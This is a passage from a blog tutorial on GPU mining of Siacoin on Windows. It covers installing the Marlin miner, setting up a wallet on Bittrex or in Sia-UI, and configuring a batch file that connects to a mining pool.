&lt;p>Click the link for &amp;ldquo;Windows (64-bit)&amp;rdquo; to download the Marlin package.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>When the download completes, open it and unzip to &lt;code>C:\marlin&lt;/code>

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 614px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/extract-to.png">
 &lt;img
 
 sizes="(min-width: 768px) 614px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/extract-to_hu_a74f364577f8e75.png 300w, https://mtlynch.io/windows-sia-mining/extract-to_hu_a9e445156e7cd4bb.png 600w, https://mtlynch.io/windows-sia-mining/extract-to.png 614w'
 src="https://mtlynch.io/windows-sia-mining/extract-to.png" alt="Extract Marlin" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Hit Win+R to open the Windows run dialog.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Type &lt;code>cmd&lt;/code> and hit Enter.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 399px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/cmd.png">
 &lt;img
 
 sizes="(min-width: 768px) 399px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/cmd_hu_8988cf3e1faf55a6.png 300w, https://mtlynch.io/windows-sia-mining/cmd.png 399w'
 src="https://mtlynch.io/windows-sia-mining/cmd.png" alt="Run cmd" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>In the Command Prompt, type the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>C:\marlin\marlin.exe --selftest
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/li>
&lt;/ol>
&lt;p>You should see output that says &lt;code>PASS&lt;/code> on each line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:30 Starting marlin 1.0.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 OpenCL error: cannot load OpenCL.dll
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 CUDA (driver version 8.0)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] GeForce GTX 970 (CC 5.2)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] default : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m1p0 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m1p1 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m1p1x32 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m1p4x32 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m2p0 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m2p1 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m2p1x32 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m2p2 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m2p2x32 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m2p4 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] m2p4x32 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] x1p1 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] x1p1x32 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] x1p2x32 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] x1p3x32 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] x1p4x32 : PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/05/18 20:24:31 [0] x1p5x32 : PASS
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This verifies that your GPU library is installed correctly and your miner is able to access it. All you need now is a Siacoin wallet and you&amp;rsquo;ll be ready to begin mining.&lt;/p>
&lt;h2 id="generate-a-siacoin-wallet">Generate a Siacoin wallet&lt;/h2>
&lt;p>In order to mine, you&amp;rsquo;ll need a Siacoin wallet to store the coins you earn. There are currently two main options for Siacoin wallets, which I describe below.&lt;/p>
&lt;h3 id="bittrex---the-quick-n-dirty-way">Bittrex - The quick &amp;rsquo;n dirty way&lt;/h3>
&lt;p>The fastest way to create a Siacoin wallet is to use &lt;a href="https://www.bittrex.com/">Bittrex&lt;/a>, a cryptocurrency exchange. Bittrex provides a web wallet, so you can create an account and generate a Siacoin wallet instantly.&lt;/p>
&lt;p>The downside is that you have to trust Bittrex to keep your Siacoin secure. There have not been any major security breaches at Bittrex that cost their customers money, but many other exchanges have had issues with this, and Bittrex is by no means immune.&lt;/p>
&lt;p>I recommend &lt;em>starting&lt;/em> with Bittrex as you build familiarity with Siacoin and mining. Once you become comfortable, create a wallet with Sia-UI, move your Siacoin from Bittrex to your Sia-UI wallet, and set your Sia-UI address as your new mining address.&lt;/p>
&lt;p>To create a wallet with Bittrex, follow the steps below:&lt;/p>
&lt;ol>
&lt;li>Go to &lt;a href="https://www.bittrex.com/">Bittrex&lt;/a>.&lt;/li>
&lt;li>Create a new account and log in.&lt;/li>
&lt;li>From the upper right menu, click Wallets.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 800px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/bittrex-wallet-button.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/bittrex-wallet-button_hu_a3d434ce9cc6a373.png 300w, https://mtlynch.io/windows-sia-mining/bittrex-wallet-button_hu_c0d551eb9fb3060a.png 600w, https://mtlynch.io/windows-sia-mining/bittrex-wallet-button_hu_50a924956ba4ed76.png 800w, https://mtlynch.io/windows-sia-mining/bittrex-wallet-button.png 961w'
 src="https://mtlynch.io/windows-sia-mining/bittrex-wallet-button.png" alt="Bittrex wallet button" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Type &lt;code>siacoin&lt;/code> in the search bar.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 800px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/bittrex-search.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/bittrex-search_hu_5c4824dfe7d22824.png 300w, https://mtlynch.io/windows-sia-mining/bittrex-search_hu_7d02bd16d3a011f4.png 600w, https://mtlynch.io/windows-sia-mining/bittrex-search_hu_9f9440963b95aab2.png 800w, https://mtlynch.io/windows-sia-mining/bittrex-search.png 1133w'
 src="https://mtlynch.io/windows-sia-mining/bittrex-search.png" alt="Bittrex search bar" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>In the &amp;ldquo;Siacoin&amp;rdquo; row that appears, click the + sign.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 800px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/siacoin-deposit.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/siacoin-deposit_hu_7ca38a7317619b22.png 300w, https://mtlynch.io/windows-sia-mining/siacoin-deposit_hu_8a1c28210e44ac25.png 600w, https://mtlynch.io/windows-sia-mining/siacoin-deposit_hu_78b43e3686984242.png 800w, https://mtlynch.io/windows-sia-mining/siacoin-deposit.png 1133w'
 src="https://mtlynch.io/windows-sia-mining/siacoin-deposit.png" alt="Bittrex deposit button" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>You will see a pop-up window showing a long series of letters and numbers. This is your Siacoin wallet address.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 500px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/bittrex-address.png">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/bittrex-address_hu_db568b0bb02f635a.png 300w, https://mtlynch.io/windows-sia-mining/bittrex-address.png 583w'
 src="https://mtlynch.io/windows-sia-mining/bittrex-address.png" alt="Bittrex deposit address" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Save this address and proceed to the &lt;a href="#start-mining">Start mining&lt;/a> step.&lt;/li>
&lt;/ol>
&lt;h3 id="sia-ui---the-better-but-slower-way">Sia-UI - The better, but slower way&lt;/h3>
&lt;p>&lt;em>If you created a wallet with Bittrex, you can skip this section.&lt;/em>&lt;/p>
&lt;p>Sia-UI is Sia&amp;rsquo;s official Windows app. Developed and maintained by the Sia developers, it is the most secure and powerful Sia wallet available (though this is somewhat by virtue of it being the &lt;em>only&lt;/em> Windows wallet available).&lt;/p>
&lt;h4 id="download-and-launch-sia-ui">Download and Launch Sia-UI&lt;/h4>
&lt;ol>
&lt;li>Go to the &lt;a href="https://github.com/NebulousLabs/Sia-UI/releases/latest">Sia-UI download page&lt;/a>&lt;/li>
&lt;li>Click the link ending in &lt;code>-win32-x64.zip&lt;/code> (e.g. &lt;code>Sia-UI-vXX.YY.ZZ-win32-x64.zip&lt;/code>)&lt;/li>
&lt;li>Extract the downloaded file to &lt;code>C:\Sia-UI&lt;/code>

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 616px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/extract-sia-ui.png">
 &lt;img
 
 sizes="(min-width: 768px) 616px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/extract-sia-ui_hu_2b31731e9b5ac1d0.png 300w, https://mtlynch.io/windows-sia-mining/extract-sia-ui_hu_bb5aa6c392e05dd8.png 600w, https://mtlynch.io/windows-sia-mining/extract-sia-ui.png 616w'
 src="https://mtlynch.io/windows-sia-mining/extract-sia-ui.png" alt="Extract Sia-UI" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Click &amp;ldquo;Sia-UI&amp;rdquo; in the extracted files.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 792px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/explorer-sia-ui.png">
 &lt;img
 
 sizes="(min-width: 768px) 792px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/explorer-sia-ui_hu_d65c160b19ef739e.png 300w, https://mtlynch.io/windows-sia-mining/explorer-sia-ui_hu_fb38ddde4a79bd99.png 600w, https://mtlynch.io/windows-sia-mining/explorer-sia-ui.png 792w'
 src="https://mtlynch.io/windows-sia-mining/explorer-sia-ui.png" alt="image" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>A Windows Firewall dialog will appear asking if you want to give Sia access. Click &amp;ldquo;Allow&amp;rdquo;.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 531px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/sia-allow-access.png">
 &lt;img
 
 sizes="(min-width: 768px) 531px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/sia-allow-access_hu_c79e34de50bad7d1.png 300w, https://mtlynch.io/windows-sia-mining/sia-allow-access.png 531w'
 src="https://mtlynch.io/windows-sia-mining/sia-allow-access.png" alt="image" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;/ol>
&lt;h4 id="set-up-sia-ui-wallet">Set up Sia-UI wallet&lt;/h4>
&lt;p>You&amp;rsquo;ll see a progress bar in the upper right corner that represents Sia-UI&amp;rsquo;s progress synchronizing your app with the rest of the Sia network. While you wait for synchronization to reach 100%, create your Siacoin wallet with the steps below:&lt;/p>
&lt;ol>
&lt;li>In the lefthand sidebar, click the &amp;ldquo;Wallet&amp;rdquo; button.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 1217px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/sia-ui-wallet.png">
 &lt;img
 
 sizes="(min-width: 768px) 1217px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/sia-ui-wallet_hu_44c70ac8eedfe9bd.png 300w, https://mtlynch.io/windows-sia-mining/sia-ui-wallet_hu_3e773fadbc939017.png 600w, https://mtlynch.io/windows-sia-mining/sia-ui-wallet_hu_5d3d1945e3448d2e.png 800w, https://mtlynch.io/windows-sia-mining/sia-ui-wallet_hu_f908355e84ae2f37.png 1200w, https://mtlynch.io/windows-sia-mining/sia-ui-wallet.png 1217w'
 src="https://mtlynch.io/windows-sia-mining/sia-ui-wallet.png" alt="image" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Click &amp;ldquo;Create a new wallet.&amp;rdquo;

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 1217px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/sia-ui-create-wallet.png">
 &lt;img
 
 sizes="(min-width: 768px) 1217px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/sia-ui-create-wallet_hu_a284722c5bbfc50f.png 300w, https://mtlynch.io/windows-sia-mining/sia-ui-create-wallet_hu_d6be033afdd6c6fd.png 600w, https://mtlynch.io/windows-sia-mining/sia-ui-create-wallet_hu_422a30c84afe78a2.png 800w, https://mtlynch.io/windows-sia-mining/sia-ui-create-wallet_hu_ea83103227ad513f.png 1200w, https://mtlynch.io/windows-sia-mining/sia-ui-create-wallet.png 1217w'
 src="https://mtlynch.io/windows-sia-mining/sia-ui-create-wallet.png" alt="Sia-UI create wallet" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Sia-UI then displays your wallet seed. This is a series of words that gives you access to your Siacoin wallet.
&lt;ul>
&lt;li>&lt;strong>Save your wallet seed&lt;/strong>. Either write it down on paper or save it to a text file.&lt;/li>
&lt;li>Sia offers to let you choose a wallet &lt;em>password&lt;/em> that is distinct from your wallet &lt;em>seed&lt;/em>. For simplicity, leave the password as is so that it will match your seed.&lt;/li>
&lt;li>&lt;strong>Important&lt;/strong>: You&amp;rsquo;ll need your wallet seed to access your wallet every time you start Sia-UI. If you lose your wallet seed, you can never recover the money inside your wallet.&lt;/li>
&lt;li>&lt;strong>Important&lt;/strong>: Anyone who has your wallet seed controls your Siacoin balance. Never post your wallet seed online (unless you&amp;rsquo;re writing a Siacoin mining tutorial).

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 1216px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/sia-seed.png">
 &lt;img
 
 sizes="(min-width: 768px) 1216px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/sia-seed_hu_fdaf648ad600a218.png 300w, https://mtlynch.io/windows-sia-mining/sia-seed_hu_e61e06f31ab5ec7a.png 600w, https://mtlynch.io/windows-sia-mining/sia-seed_hu_c8b65cab90f2afb5.png 800w, https://mtlynch.io/windows-sia-mining/sia-seed_hu_68c4509a2edd7283.png 1200w, https://mtlynch.io/windows-sia-mining/sia-seed.png 1216w'
 src="https://mtlynch.io/windows-sia-mining/sia-seed.png" alt="Sia-UI seed" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Click the button that says &amp;ldquo;I have written these down in a safe place.&amp;rdquo;&lt;/li>
&lt;li>Because Sia-UI maintains a healthy skepticism of its users, the next screen challenges you to enter the wallet seed you just saved. Type in the seed you saved in step 3 and click &amp;ldquo;Confirm.&amp;rdquo;

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 1217px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/sia-password-and-seed.png">
 &lt;img
 
 sizes="(min-width: 768px) 1217px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/sia-password-and-seed_hu_cdfd66471f607419.png 300w, https://mtlynch.io/windows-sia-mining/sia-password-and-seed_hu_bb10995b756060c7.png 600w, https://mtlynch.io/windows-sia-mining/sia-password-and-seed_hu_77deb60a1453d0ae.png 800w, https://mtlynch.io/windows-sia-mining/sia-password-and-seed_hu_d0e5cb757ee8a244.png 1200w, https://mtlynch.io/windows-sia-mining/sia-password-and-seed.png 1217w'
 src="https://mtlynch.io/windows-sia-mining/sia-password-and-seed.png" alt="Sia-UI enter seed and password" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>&lt;a href="https://github.com/NebulousLabs/Sia/issues/2592">Bizzarely&lt;/a>, Sia-UI then asks you to confirm the seed &lt;em>again&lt;/em>, so paste it one final time and click &amp;ldquo;Unlock.&amp;rdquo;

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 1217px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/sia-unlock.png">
 &lt;img
 
 sizes="(min-width: 768px) 1217px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/sia-unlock_hu_585a48068fe8cbb.png 300w, https://mtlynch.io/windows-sia-mining/sia-unlock_hu_bf44fabc0a7bccd5.png 600w, https://mtlynch.io/windows-sia-mining/sia-unlock_hu_80013b167d377f7.png 800w, https://mtlynch.io/windows-sia-mining/sia-unlock_hu_cde5cc206c43a31c.png 1200w, https://mtlynch.io/windows-sia-mining/sia-unlock.png 1217w'
 src="https://mtlynch.io/windows-sia-mining/sia-unlock.png" alt="Sia-UI enter seed" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;/ol>
&lt;p>At this point, Sia-UI will likely still be synchronizing with the rest of the network. Unfortunately, you can&amp;rsquo;t use your wallet until this process completes.&lt;/p>
&lt;p>First-time synchronization is &lt;em>sloooooow&lt;/em>. It can take hours to days to get synchronized depending on your disk speed and network connection. I posted a &lt;a href="https://www.reddit.com/r/siacoin/comments/6c7fk5/complete_your_sia_firsttime_blockchain_sync_in_20/">workaround on reddit&lt;/a> that reduces the wait time to ~20 minutes, so check that out if you don&amp;rsquo;t feel like waiting.&lt;/p>
&lt;p>When you&amp;rsquo;re finally synchronized, click the &amp;ldquo;Receive Siacoin&amp;rdquo; button in the wallet screen:&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1217px">



 &lt;a href="https://mtlynch.io/windows-sia-mining/sia-ui-receive-siacoin.png">
 &lt;img
 
 sizes="(min-width: 768px) 1217px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/sia-ui-receive-siacoin_hu_57a02222136c7098.png 300w, https://mtlynch.io/windows-sia-mining/sia-ui-receive-siacoin_hu_92450e7085f927e5.png 600w, https://mtlynch.io/windows-sia-mining/sia-ui-receive-siacoin_hu_470e49bb5d427128.png 800w, https://mtlynch.io/windows-sia-mining/sia-ui-receive-siacoin_hu_2b9452623fedbce7.png 1200w, https://mtlynch.io/windows-sia-mining/sia-ui-receive-siacoin.png 1217w'
 src="https://mtlynch.io/windows-sia-mining/sia-ui-receive-siacoin.png" alt="Sia-UI save address" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>You will see a &amp;ldquo;Receiving Address&amp;rdquo; field and a &amp;ldquo;Description&amp;rdquo; field. In the Description, type &lt;code>Mining revenues&lt;/code> (or whatever label you prefer):&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1217px">



 &lt;a href="https://mtlynch.io/windows-sia-mining/sia-ui-address.png">
 &lt;img
 
 sizes="(min-width: 768px) 1217px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/sia-ui-address_hu_2561ca8e1519e531.png 300w, https://mtlynch.io/windows-sia-mining/sia-ui-address_hu_bfea4a9781b283e.png 600w, https://mtlynch.io/windows-sia-mining/sia-ui-address_hu_b303c931f6a68ddb.png 800w, https://mtlynch.io/windows-sia-mining/sia-ui-address_hu_b8844a15c093702e.png 1200w, https://mtlynch.io/windows-sia-mining/sia-ui-address.png 1217w'
 src="https://mtlynch.io/windows-sia-mining/sia-ui-address.png" alt="Sia-UI receive siacoin" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Sia will now show your Siacoin receiving address labeled &lt;code>Mining revenues&lt;/code>. You can access it at any time by hitting the &amp;ldquo;Receive Siacoin&amp;rdquo; button.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1217px">



 &lt;a href="https://mtlynch.io/windows-sia-mining/sia-ui-address2.png">
 &lt;img
 
 sizes="(min-width: 768px) 1217px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/sia-ui-address2_hu_b6169d2f3c157c1c.png 300w, https://mtlynch.io/windows-sia-mining/sia-ui-address2_hu_6cc848ffa5a44af4.png 600w, https://mtlynch.io/windows-sia-mining/sia-ui-address2_hu_72b9884a356870b9.png 800w, https://mtlynch.io/windows-sia-mining/sia-ui-address2_hu_62030f5a1353d733.png 1200w, https://mtlynch.io/windows-sia-mining/sia-ui-address2.png 1217w'
 src="https://mtlynch.io/windows-sia-mining/sia-ui-address2.png" alt="Sia-UI address" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="start-mining">Start mining&lt;/h2>
&lt;p>You&amp;rsquo;re ready to start mining! To begin, follow the steps below:&lt;/p>
&lt;ol>
&lt;li>Open Notepad&lt;/li>
&lt;li>Go to File &amp;gt; Open and enter &lt;code>C:\marlin\marlin.bat&lt;/code>&lt;/li>
&lt;li>Replace the file contents with the following:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>SET payout_address=YOUR SIACOIN WALLET ADDRESS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SET intensity=18
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SET pool_server=us-east.luxor.tech:3333
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>marlin.exe --user %payout_address% --intensity %intensity% --host %pool_server%
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ol>
&lt;li>Change &lt;code>YOUR SIACOIN WALLET ADDRESS&lt;/code> to your own wallet address. The file should look like the following:

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 815px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/marlin-bat.png">
 &lt;img
 
 sizes="(min-width: 768px) 815px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/marlin-bat_hu_f72bbe77c87c241e.png 300w, https://mtlynch.io/windows-sia-mining/marlin-bat_hu_9e4a2cd26e0f44ac.png 600w, https://mtlynch.io/windows-sia-mining/marlin-bat_hu_1927b935054aec8d.png 800w, https://mtlynch.io/windows-sia-mining/marlin-bat.png 815w'
 src="https://mtlynch.io/windows-sia-mining/marlin-bat.png" alt="Marlin batch file" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Go to File &amp;gt; Save and close Notepad.&lt;/li>
&lt;li>Go to &lt;code>C:\marlin&lt;/code> in Windows Explorer.&lt;/li>
&lt;li>Double-click on &lt;code>marlin.bat&lt;/code>.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 604px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/explorer-marlin.png">
 &lt;img
 
 sizes="(min-width: 768px) 604px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/explorer-marlin_hu_179b20f0dcc546a2.png 300w, https://mtlynch.io/windows-sia-mining/explorer-marlin_hu_bf3012d1c0452db1.png 600w, https://mtlynch.io/windows-sia-mining/explorer-marlin.png 604w'
 src="https://mtlynch.io/windows-sia-mining/explorer-marlin.png" alt="Marlin in Explorer" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>If you get a security warning, click &amp;ldquo;Run.&amp;rdquo;

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 466px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/marlin-warning.png">
 &lt;img
 
 sizes="(min-width: 768px) 466px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/marlin-warning_hu_82bbd1efbbe21153.png 300w, https://mtlynch.io/windows-sia-mining/marlin-warning.png 466w'
 src="https://mtlynch.io/windows-sia-mining/marlin-warning.png" alt="Marlin warning" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;/ol>
&lt;p>You&amp;rsquo;re mining! You should see output like the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:15 Starting marlin 1.0.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:15 CUDA (driver version 9.1)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:15 [0] GeForce GTX 970 (CC 5.2)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:15 OpenCL: NVIDIA CUDA
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:15 [1] GPU: GeForce GTX 970
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:15 Connecting to us-east.luxor.tech:3333...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:15 [0] Initializing GeForce GTX 970
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:15 Difficulty set to 107G
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:15 New block ...72226449 detected, difficulty 147P
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:15 Authentication successful
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:16 [0] Initialized, work size 262144
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:16 [0] Accepted 2b5b471d D: 42G/17G 965.8 MH/s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:18 [0] Accepted 0c1e4a1f D: 23G/17G 965.8 MH/s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:18 [0] Accepted 727c0e70 D: 50G/17G 967.5 MH/s
